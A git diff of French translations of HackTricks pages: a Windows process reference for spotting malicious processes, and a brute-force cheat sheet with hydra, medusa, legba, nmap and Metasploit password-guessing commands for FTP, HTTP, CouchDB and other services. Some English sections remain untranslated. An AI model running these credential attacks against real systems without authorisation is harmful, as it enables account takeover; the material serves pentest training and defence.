- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,7 +1,22 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
## smss.exe
|
## smss.exe
|
||||||
|
|
||||||
**Gestionnaire de session**.\
|
**Gestionnaire de session**.\
|
||||||
La session 0 lance **csrss.exe** et **wininit.exe** (**services** **OS**) tandis que la session 1 lance **csrss.exe** et **winlogon.exe** (**session** **utilisateur**). Cependant, vous ne devriez voir **qu'un seul processus** de cette **application** sans enfants dans l'arborescence des processus.
|
La session 0 démarre **csrss.exe** et **wininit.exe** (**services OS**) tandis que la session 1 démarre **csrss.exe** et **winlogon.exe** (**session utilisateur**). Cependant, vous ne devriez voir **qu'un seul processus** de ce **binaire** sans enfants dans l'arborescence des processus.
|
||||||
|
|
||||||
De plus, des sessions autres que 0 et 1 peuvent signifier que des sessions RDP sont en cours.
|
De plus, des sessions autres que 0 et 1 peuvent signifier que des sessions RDP sont en cours.
|
||||||
|
|
||||||
|
@ -9,31 +24,31 @@ De plus, des sessions autres que 0 et 1 peuvent signifier que des sessions RDP s
|
||||||
## csrss.exe
|
## csrss.exe
|
||||||
|
|
||||||
**Processus de sous-système d'exécution client/serveur**.\
|
**Processus de sous-système d'exécution client/serveur**.\
|
||||||
Il gère les **processus** et les **threads**, rend l'API Windows disponible pour d'autres processus et **mappe les lettres de lecteur**, crée des **fichiers temporaires** et gère le **processus d'arrêt**.
|
Il gère les **processus** et les **threads**, rend l'**API Windows** disponible pour d'autres processus et **mappe les lettres de lecteur**, crée des **fichiers temporaires** et gère le **processus d'arrêt**.
|
||||||
|
|
||||||
Il y a un **processus en cours d'exécution dans la session 0 et un autre dans la session 1** (donc **2 processus** dans l'arborescence des processus). Un autre est créé **par nouvelle session**.
|
Il y en a un qui s'exécute dans la session 0 et un autre dans la session 1 (donc **2 processus** dans l'arborescence des processus). Un autre est créé **par nouvelle session**.
|
||||||
|
|
||||||
|
|
||||||
## winlogon.exe
|
## winlogon.exe
|
||||||
|
|
||||||
**Processus de connexion Windows**.\
|
**Processus de connexion Windows**.\
|
||||||
Il est responsable des **connexions/déconnexions** des utilisateurs. Il lance **logonui.exe** pour demander le nom d'utilisateur et le mot de passe, puis appelle **lsass.exe** pour les vérifier.
|
Il est responsable des **connexions**/**déconnexions** des utilisateurs. Il lance **logonui.exe** pour demander un nom d'utilisateur et un mot de passe, puis appelle **lsass.exe** pour les vérifier.
|
||||||
|
|
||||||
Ensuite, il lance **userinit.exe** qui est spécifié dans **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** avec la clé **Userinit**.
|
Ensuite, il lance **userinit.exe** qui est spécifié dans **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** avec la clé **Userinit**.
|
||||||
|
|
||||||
De plus, le registre précédent devrait avoir **explorer.exe** dans la clé **Shell** ou il pourrait être utilisé comme une **méthode de persistance de malware**.
|
De plus, le registre précédent devrait avoir **explorer.exe** dans la clé **Shell** ou il pourrait être utilisé comme une **méthode de persistance de logiciel malveillant**.
|
||||||
|
|
||||||
|
|
||||||
## wininit.exe
|
## wininit.exe
|
||||||
|
|
||||||
**Processus d'initialisation Windows**. \
|
**Processus d'initialisation Windows**.\
|
||||||
Il lance **services.exe**, **lsass.exe** et **lsm.exe** dans la session 0. Il ne devrait y avoir qu'un seul processus.
|
Il lance **services.exe**, **lsass.exe** et **lsm.exe** dans la session 0. Il ne devrait y avoir qu'un seul processus.
|
||||||
|
|
||||||
|
|
||||||
## userinit.exe
|
## userinit.exe
|
||||||
|
|
||||||
**Application de connexion Userinit**.\
|
**Application de connexion Userinit**.\
|
||||||
Charge le **ntduser.dat dans HKCU** et initialise l'**environnement utilisateur** et exécute les **scripts de connexion** et les **GPO**.
|
Charge le **ntduser.dat dans HKCU** et initialise l'**environnement utilisateur** et exécute des **scripts de connexion** et des **GPO**.
|
||||||
|
|
||||||
Il lance **explorer.exe**.
|
Il lance **explorer.exe**.
|
||||||
|
|
||||||
|
@ -41,23 +56,23 @@ Il lance **explorer.exe**.
|
||||||
## lsm.exe
|
## lsm.exe
|
||||||
|
|
||||||
**Gestionnaire de session local**.\
|
**Gestionnaire de session local**.\
|
||||||
Il travaille avec smss.exe pour manipuler les sessions utilisateur : Connexion/Déconnexion, démarrage de la coquille, verrouillage/déverrouillage du bureau, etc.
|
Il travaille avec smss.exe pour manipuler les sessions utilisateur : Connexion/déconnexion, démarrage du shell, verrouillage/déverrouillage du bureau, etc.
|
||||||
|
|
||||||
Après W7, lsm.exe a été transformé en un service (lsm.dll).
|
Après W7, lsm.exe a été transformé en un service (lsm.dll).
|
||||||
|
|
||||||
Il ne devrait y avoir qu'un seul processus dans W7 et à partir de là, un service exécutant la DLL.
|
Il ne devrait y avoir qu'un seul processus dans W7 et parmi eux un service exécutant le DLL.
|
||||||
|
|
||||||
|
|
||||||
## services.exe
|
## services.exe
|
||||||
|
|
||||||
**Gestionnaire de contrôle de service**.\
|
**Gestionnaire de contrôle des services**.\
|
||||||
Il **charge** les **services** configurés en **démarrage automatique** et les **pilotes**.
|
Il **charge** les **services** configurés en **démarrage automatique** et les **pilotes**.
|
||||||
|
|
||||||
C'est le processus parent de **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** et bien d'autres.
|
C'est le processus parent de **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** et bien d'autres.
|
||||||
|
|
||||||
Les services sont définis dans `HKLM\SYSTEM\CurrentControlSet\Services` et ce processus maintient une base de données en mémoire des informations de service qui peuvent être interrogées par sc.exe.
|
Les services sont définis dans `HKLM\SYSTEM\CurrentControlSet\Services` et ce processus maintient une base de données en mémoire des informations sur les services qui peuvent être interrogées par sc.exe.
|
||||||
|
|
||||||
Notez comment **certains** **services** vont s'exécuter dans un **processus propre** et d'autres vont **partager un processus svchost.exe**.
|
Notez comment **certains** **services** vont s'exécuter dans un **processus dédié** et d'autres vont **partager un processus svchost.exe**.
|
||||||
|
|
||||||
Il ne devrait y avoir qu'un seul processus.
|
Il ne devrait y avoir qu'un seul processus.
|
||||||
|
|
||||||
|
@ -67,28 +82,28 @@ Il ne devrait y avoir qu'un seul processus.
|
||||||
**Sous-système d'autorité de sécurité local**.\
|
**Sous-système d'autorité de sécurité local**.\
|
||||||
Il est responsable de l'**authentification de l'utilisateur** et crée les **jetons de sécurité**. Il utilise des packages d'authentification situés dans `HKLM\System\CurrentControlSet\Control\Lsa`.
|
Il est responsable de l'**authentification de l'utilisateur** et crée les **jetons de sécurité**. Il utilise des packages d'authentification situés dans `HKLM\System\CurrentControlSet\Control\Lsa`.
|
||||||
|
|
||||||
Il écrit dans le **journal d'événements de sécurité** et il ne devrait y avoir qu'un seul processus.
|
Il écrit dans le **journal des événements de sécurité** et il ne devrait y avoir qu'un seul processus.
|
||||||
|
|
||||||
Gardez à l'esprit que ce processus est fortement attaqué pour extraire les mots de passe.
|
Gardez à l'esprit que ce processus est fortement attaqué pour extraire des mots de passe.
|
||||||
|
|
||||||
|
|
||||||
## svchost.exe
|
## svchost.exe
|
||||||
|
|
||||||
**Processus d'hôte de service générique**.\
|
**Processus hôte de service générique**.\
|
||||||
Il héberge plusieurs services DLL dans un processus partagé.
|
Il héberge plusieurs services DLL dans un processus partagé.
|
||||||
|
|
||||||
Généralement, vous constaterez que **svchost.exe** est lancé avec le drapeau `-k`. Cela lancera une requête au registre **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** où il y aura une clé avec l'argument mentionné dans -k qui contiendra les services à lancer dans le même processus.
|
Généralement, vous constaterez que **svchost.exe** est lancé avec le drapeau `-k`. Cela lancera une requête au registre **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** où il y aura une clé avec l'argument mentionné en -k qui contiendra les services à lancer dans le même processus.
|
||||||
|
|
||||||
Par exemple : `-k UnistackSvcGroup` lancera : `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
|
Par exemple : `-k UnistackSvcGroup` lancera : `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
|
||||||
|
|
||||||
Si le **drapeau `-s`** est également utilisé avec un argument, alors svchost est invité à **lancer uniquement le service spécifié** dans cet argument.
|
Si le **drapeau `-s`** est également utilisé avec un argument, alors svchost est invité à **lancer uniquement le service spécifié** dans cet argument.
|
||||||
|
|
||||||
Il y aura plusieurs processus de `svchost.exe`. Si l'un d'entre eux **n'utilise pas le drapeau `-k`**, c'est très suspect. Si vous constatez que **services.exe n'est pas le parent**, c'est également très suspect.
|
Il y aura plusieurs processus de `svchost.exe`. Si l'un d'eux n'utilise **pas le drapeau `-k`**, c'est très suspect. Si vous constatez que **services.exe n'est pas le parent**, c'est également très suspect.
|
||||||
|
|
||||||
|
|
||||||
## taskhost.exe
|
## taskhost.exe
|
||||||
|
|
||||||
Ce processus agit comme un hôte pour les processus exécutés à partir de DLL. Il charge également les services qui s'exécutent à partir de DLL.
|
Ce processus agit comme un hôte pour les processus s'exécutant à partir de DLL. Il charge également les services s'exécutant à partir de DLL.
|
||||||
|
|
||||||
Dans W8, cela s'appelle taskhostex.exe et dans W10 taskhostw.exe.
|
Dans W8, cela s'appelle taskhostex.exe et dans W10 taskhostw.exe.
|
||||||
|
|
||||||
|
@ -97,17 +112,19 @@ Dans W8, cela s'appelle taskhostex.exe et dans W10 taskhostw.exe.
|
||||||
|
|
||||||
C'est le processus responsable du **bureau de l'utilisateur** et du lancement de fichiers via les extensions de fichier.
|
C'est le processus responsable du **bureau de l'utilisateur** et du lancement de fichiers via les extensions de fichier.
|
||||||
|
|
||||||
**Seul 1** processus devrait être lancé **par utilisateur connecté.**
|
**Seul 1** processus devrait être créé **par utilisateur connecté**.
|
||||||
|
|
||||||
Cela est exécuté à partir de **userinit.exe** qui devrait être terminé, donc **aucun parent** ne devrait apparaître pour ce processus.
|
Cela est exécuté à partir de **userinit.exe** qui devrait être terminé, donc **aucun parent** ne devrait apparaître pour ce processus.
|
||||||
|
|
||||||
|
|
||||||
# Capture de processus malveillants
|
# Détection des processus malveillants
|
||||||
|
|
||||||
* Est-il en cours d'exécution à partir du chemin attendu ? (Aucune application Windows ne s'exécute à partir de l'emplacement temporaire)
|
* Est-il exécuté à partir du chemin attendu ? (Aucun binaire Windows ne s'exécute à partir de l'emplacement temporaire)
|
||||||
* Communique-t-il avec des adresses IP étranges ?
|
* Communique-t-il avec des adresses IP étranges ?
|
||||||
* Vérifiez les signatures numériques (les artefacts Microsoft doivent être signés)
|
* Vérifiez les signatures numériques (les artefacts Microsoft devraient être signés)
|
||||||
* Est-il orthographié correctement ?
|
* Est-il orthographié correctement ?
|
||||||
* Fonctionne-t-il sous l'identifiant de sécurité attendu ?
|
* S'exécute-t-il sous l'identifiant de sécurité attendu ?
|
||||||
* Le processus parent est-il celui attendu (s'il y en a un) ?
|
* Le processus parent est-il celui attendu (le cas échéant) ?
|
||||||
* Les processus enfants sont-ils ceux attendus ? (pas de cmd.exe, wscript.exe, powershell.exe..?)
|
* Les processus enfants sont-ils ceux attendus ? (pas de cmd.exe, wscript.exe, powershell.exe..?)
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,30 +1,30 @@
|
||||||
# Brute Force - CheatSheet
|
# Brute Force - Fiche de triche
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Obtenez l'accès aujourd'hui :
|
Accédez dès aujourd'hui à :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Identifiants par Défaut
|
## Identifiants par défaut
|
||||||
|
|
||||||
**Cherchez sur Google** les identifiants par défaut de la technologie utilisée, ou **essayez ces liens** :
|
**Recherchez dans Google** les identifiants par défaut de la technologie utilisée, ou **essayez ces liens** :
|
||||||
|
|
||||||
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||||
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||||
|
@ -39,7 +39,7 @@ Autres moyens de soutenir HackTricks :
|
||||||
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
|
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
|
||||||
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
|
||||||
|
|
||||||
## **Créez vos propres Dictionnaires**
|
## **Créez vos propres dictionnaires**
|
||||||
|
|
||||||
Trouvez autant d'informations que possible sur la cible et générez un dictionnaire personnalisé. Outils qui peuvent aider :
|
Trouvez autant d'informations que possible sur la cible et générez un dictionnaire personnalisé. Outils qui peuvent aider :
|
||||||
|
|
||||||
|
@ -55,18 +55,20 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
||||||
crunch 6 8 -t ,@@^^%%
|
crunch 6 8 -t ,@@^^%%
|
||||||
```
|
```
|
||||||
### Cewl
|
### Cewl
|
||||||
|
|
||||||
|
Cewl est un outil qui extrait les mots d'un site Web pour générer une liste de mots potentiels pour une attaque de force brute.
|
||||||
```bash
|
```bash
|
||||||
cewl example.com -m 5 -w words.txt
|
cewl example.com -m 5 -w words.txt
|
||||||
```
|
```
|
||||||
### [CUPP](https://github.com/Mebus/cupp)
|
### [CUPP](https://github.com/Mebus/cupp)
|
||||||
|
|
||||||
Générez des mots de passe basés sur vos connaissances de la victime (noms, dates...)
|
Générer des mots de passe basés sur vos connaissances de la victime (noms, dates...)
|
||||||
```
|
```
|
||||||
python3 cupp.py -h
|
python3 cupp.py -h
|
||||||
```
|
```
|
||||||
### [Wister](https://github.com/cycurity/wister)
|
### [Wister](https://github.com/cycurity/wister)
|
||||||
|
|
||||||
Un outil de génération de listes de mots, qui vous permet de fournir un ensemble de mots, vous donnant la possibilité de créer plusieurs variations à partir des mots donnés, créant ainsi une liste de mots unique et idéale à utiliser concernant une cible spécifique.
|
Un outil générateur de listes de mots, qui vous permet de fournir un ensemble de mots, vous donnant la possibilité de créer de multiples variations à partir des mots donnés, créant ainsi une liste de mots unique et idéale à utiliser pour un cible spécifique.
|
||||||
```bash
|
```bash
|
||||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||||
|
|
||||||
|
@ -103,14 +105,14 @@ Finished in 0.920s.
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** grâce aux outils communautaires **les plus avancés**.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Obtenez l'accès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
## Services
|
## Services
|
||||||
|
|
||||||
Classés alphabétiquement par nom de service.
|
Classés par ordre alphabétique du nom du service.
|
||||||
|
|
||||||
### AFP
|
### AFP
|
||||||
```bash
|
```bash
|
||||||
|
@ -123,20 +125,46 @@ msf> set USER_FILE <PATH_USERS>
|
||||||
msf> run
|
msf> run
|
||||||
```
|
```
|
||||||
### AJP
|
### AJP
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks against the AJP protocol can be carried out using tools like Hydra or Burp Suite Intruder. These tools can be used to guess usernames and passwords by systematically trying all possible combinations until the correct one is found.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
#### Force brute
|
||||||
|
|
||||||
|
Les attaques par force brute contre le protocole AJP peuvent être effectuées à l'aide d'outils tels que Hydra ou Burp Suite Intruder. Ces outils peuvent être utilisés pour deviner des noms d'utilisateur et des mots de passe en essayant systématiquement toutes les combinaisons possibles jusqu'à ce que la bonne soit trouvée.
|
||||||
```bash
|
```bash
|
||||||
nmap --script ajp-brute -p 8009 <IP>
|
nmap --script ajp-brute -p 8009 <IP>
|
||||||
```
|
```
|
||||||
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM et Solace)
|
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
|
||||||
```bash
|
```bash
|
||||||
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
||||||
```
|
```
|
||||||
### Cassandra
|
### Cassandra
|
||||||
|
|
||||||
|
Cassandra est une base de données NoSQL distribuée conçue pour gérer de grandes quantités de données réparties sur de nombreux serveurs sans point de défaillance unique. Les attaques de force brute contre Cassandra peuvent être effectuées en essayant de deviner les identifiants et les mots de passe des utilisateurs pour accéder à la base de données. Il est recommandé de mettre en place des mesures de sécurité telles que des politiques de mots de passe forts et des mécanismes de verrouillage de compte pour prévenir les attaques de force brute.
|
||||||
```bash
|
```bash
|
||||||
nmap --script cassandra-brute -p 9160 <IP>
|
nmap --script cassandra-brute -p 9160 <IP>
|
||||||
# legba ScyllaDB / Apache Casandra
|
# legba ScyllaDB / Apache Casandra
|
||||||
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
|
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
|
||||||
```
|
```
|
||||||
### CouchDB
|
### CouchDB
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks against CouchDB are relatively simple to execute. The most common method is to use a tool like Hydra to repeatedly try different username and password combinations until the correct one is found. This can be effective if the credentials are weak or if the server is not properly configured to prevent multiple login attempts.
|
||||||
|
|
||||||
|
#### Protection
|
||||||
|
|
||||||
|
To protect against brute force attacks, it is recommended to:
|
||||||
|
- Use strong and unique passwords
|
||||||
|
- Implement account lockout policies after a certain number of failed login attempts
|
||||||
|
- Monitor login attempts for any suspicious activity
|
||||||
|
- Consider using multi-factor authentication for an added layer of security.
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||||
|
@ -146,45 +174,87 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||||
```
|
```
|
||||||
### Elasticsearch
|
### Elasticsearch
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks are a common method used to gain unauthorized access to Elasticsearch instances. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is effective against weak or default credentials.
|
||||||
|
|
||||||
|
To protect against brute force attacks, it is recommended to:
|
||||||
|
|
||||||
|
- Use strong, complex passwords that are not easily guessable.
|
||||||
|
- Implement account lockout policies to prevent multiple failed login attempts.
|
||||||
|
- Monitor Elasticsearch logs for any suspicious login activity.
|
||||||
|
- Limit access to Elasticsearch instances to only authorized users.
|
||||||
|
- Regularly update Elasticsearch to patch any known security vulnerabilities.
|
||||||
|
|
||||||
|
By following these best practices, you can significantly reduce the risk of unauthorized access to your Elasticsearch instance.
|
||||||
```
|
```
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||||
```
|
```
|
||||||
### FTP
|
### FTP
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks against FTP servers involve attempting to log in to an FTP server by systematically trying all possible passwords until the correct one is found. This method is time-consuming but can be effective if the password is weak. Tools like Hydra and Medusa can be used to automate the process of trying different passwords. It is important to note that brute force attacks can be detected by intrusion detection systems, so it is crucial to use this technique carefully and ethically.
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
||||||
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
||||||
```
|
```
|
||||||
### Brute-force HTTP générique
|
### Brute Force Générique HTTP
|
||||||
|
|
||||||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||||||
|
|
||||||
### Authentification HTTP Basic
|
### Authentification de base HTTP
|
||||||
```bash
|
```bash
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||||||
# Use https-get mode for https
|
# Use https-get mode for https
|
||||||
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
|
||||||
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
|
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
|
||||||
```
|
```
|
||||||
|
### HTTP - NTLM
|
||||||
|
|
||||||
### HTTP - NTLM
|
### HTTP - NTLM
|
||||||
```bash
|
```bash
|
||||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||||
```
|
```
|
||||||
### HTTP - Formulaire Post
|
### HTTP - Post Form
|
